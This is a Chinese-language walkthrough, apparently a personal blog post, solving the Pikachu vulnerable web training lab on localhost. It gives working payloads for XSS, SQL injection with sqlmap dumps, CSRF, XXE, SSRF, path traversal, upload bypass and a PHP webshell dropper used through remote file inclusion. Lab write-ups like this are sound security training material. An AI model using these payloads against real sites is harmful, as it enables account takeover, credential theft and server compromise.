部署

docker run -d -p 32775:80 area39/pikachu:latest

暴力破解

基于表单的暴力破解

这里用burpsuite进行爆破

image-20240706132331067

采用集束炸弹模式

分别设置不同位置的payload

开始爆破

image-20240706132913008

爆破到admin的用户密码是123456

基于前端的验证码绕过

由于验证码是生成在前端的,所以后端是不检测验证码的,我们可以直接去除验证码参数

然后重复前面的操作即可

基于后端的验证码绕过

image-20240706133521555

重复发了几次包,发现验证码在这几次发包中是不刷新的,所以我们可以直接发到攻击模块进行爆破,与前面一关是一样的

绕过token的暴力破解

**token的作用:**简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求

这里选择Pitchfork爆破模式,爆passwordtoken

这里的token可以从响应包中获取

image-20240706134505910

使用递归提取并且填入第一次

image-20240706140158557

可以看到成功了

但是我实验的时候发现,如果不巧正确的密码是第一个选项可能会是csrf token error不知道是不是bug,其他的都没问题

Cross-Site Scripting

反射性xss(get)

<script>alert(1)</script>

起手,发现长度有限制,然而这个只是前段验证,参数直接在浏览器里面改就可以了

image-20240706140654378

反射性xss(post)

先用admin的账号登录进去

image-20240706140903499

存储型xss

一般出现在留言板评论区,浏览器执行了留言板的xss代码

image-20240706141208723

然后有人访问就会弹窗

Dom型xss

dom型,就是向文档对象传入xss代码参数,然后操作文档对象时就会触发xss攻击

这里发现,输入框里面的内容会传递给what do you see?的跳转属性,直接javascript:alert(1)

image-20240706141702374 image-20240706141739724

xss盲打

输入你的xss等管理员点进去你的留言,直接弹窗

xss过滤

由于<script>标签被过滤

更换标签即可

<img src=1 onerror=alert(1)>

image-20240706142135718

xss之htmlspecialchars

这个函数直接把单引号,双引号,尖括号都给过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。

由于输入的值会被加到href属性中

直接用前文的技巧javascript:alert(1)

image-20240706142341677

xss之href输出

javascript:alert(1)

image-20240706142433064

xss之js输出

img

前面有script包裹,因此我们只需要提前将script给闭合就可以了

</script><script>alert('xss')</script>

image-20240706142849364

CSRF

CSRF(get)

随便登录一个用户,修改个人信息

image-20240706143254949

先抓包

利用bpcsrf poc生成器

image-20240706143442624

如果有用户点击了这个按钮就会自动修改pikachu的个人信息

CSRF(post型)

与get型的操作流程没有区别

CSRF(token)

需要在原来的提交信息中提取token

SQL-INJECT

数字型注入

1 and 1=1不报错

1 and 1=2报错

数字型注入

order by判断出列数为2

union select判断出回显位为1,2

根据回显位判断出

id=-2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

查询敏感表users表中所有列

id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

id=-2 union select group_concat(username),group_concat(password) from users

字符型注入(get)

使用万能密码

' or '1'='1

查所有表

payload

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

搜索型注入

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2"

接着爆库

payload

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --dbs

爆表

payload

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" --tables

爆字段名

payload

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns

爆数据

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikaachu" -T "users" -C "password,username" --dump

xx注入

报错注入

insert/update注入

报错注入

delete注入

删除操作的头部id处可控 可以构造框架进行sql注入

http头部注入

在UA头可以进行报错注入

User-Agent: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

布尔盲注

sqlmap跑吧

时间盲注

sqlmap跑

手注过于浪费时间

宽字节注入

name=1%df' union select version(),database() --+

查表

name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查字段

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆数据

name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+

RCE

exec ping

image-20240706150122082

exec eval

img

直接将txt改为phpinfo();

image-20240706150316840

File Inclusion

File Inclusion(local)

image-20240706150455185

这个位置可控,可以读取服务器任意位置的文件

File inclusion(remote)

远程包含文件写入马

在我的服务器里写入webshell

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>

然后服务器远程包含后会生成马

用蚁剑连接即可

Unsafe filedownload

通过查看下载文件的地址来可知, 其所处文件目录是/pikachu/vul/unsafedownload/download/

而我们要读取的文件在根目录下(/WWW目录), 所以flag.txt的相对路径为../../../../flag.txt, 最终构成的文件下载payload为http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../flag.txt

Unsafe fileupload

前端验证

绕过思路

查看此关卡的html源码可知, 这是在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。

可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过

mime type

抓包直接修改content type

MIME是通过判断你的文件类型(而不是后缀名)

getimagesize

上传图片马

getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部

可通过制作图片木马或再木马文件内容头部添加GIF89a(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马

Over Permission

水平越权

首先登录lucy用户, 然后点击个人信息, 查看当前url为:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

修改username后发现到了别人的个人信息中心

垂直越权

首先登录超级管理员用户admin/123456,使用burpsuite抓取添加用户的数据包并发送至Repeater模块

登录普通用户pikachu/000000, 按F12查看当前用户Cookie值为r0audj31vere8ak4063bbp7vr2

返回burpsuite的Repeater模块, 打开上述抓到的数据包, 将Cookie值修改为pikachu用户的Cookie, 然后点击发送

发现pikachu用户也可以创建用户

目录遍历

随便修改

?title=…/…/…/etc/passwd

image-20240706151848660

敏感信息泄露

概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到

  • 通过访问url下的目录,可以直接列出目录下的文件列表
  • 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
  • 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等

IcanseeyourABC

查看网页源码, 发现注释有测试用户的账号密码lili/123456

PHP反序列化漏洞


<?php
class S{
	var $test="<script>alert(document.cookie)</script>";
}
 
$a=new S();
echo serialize($a)
?>
#O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
image-20240706152115315

XXE

概述

XXE漏洞, 又称xml外部实体注入漏洞,概括来说就是攻击者通过向服务器注入指定的xml实体内容, 从而让服务器按照指定的配置执行, 也就是说服务端接收和解析了来自客户端的xml数据, 由于没有对此数据做严格的安全控制, 从而导致xml外部实体注入

在现在很多语言里用于解析xml的函数, 默认禁止解析外部实体内容, 从而就避免了此漏洞。以PHP为例, 在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析

利用实例

xml外部引用不仅支持file协议, 还支持http, ftp协议

如下代码所示, 利用file协议读取网站根目录下的flag.txt文件

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY file SYSTEM "file:///../../../../etc/passwd">
]>
<x>&file;</x>
image-20240706152321789

不安全的url跳转

这几个超链接都点一点,当点到“我就是我,放荡不羁的我”时,发现url地址栏中出现了url参数

我们构造payload访问百度

?url=http://www.baidu.com

这个应该可以配合钓鱼,xss,csrf之类的

SSRF

curl

Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等

首先点击第一关的链接, 点进去可以看到传递了参数url, 此值采用了http协议进行访问

利用file协议让服务器访问自己本地的文件, 构造的payload为http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///../../../../etc/passwd

利用dict协议扫描3306端口是否开放: http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

file_get_content

可直接读取主机绝对路径或相对路径的文件, 也可以使用php伪协议进行利用

http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///../../../flag.txt

可通过php伪协议读取指定文件

http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../../../flag.txt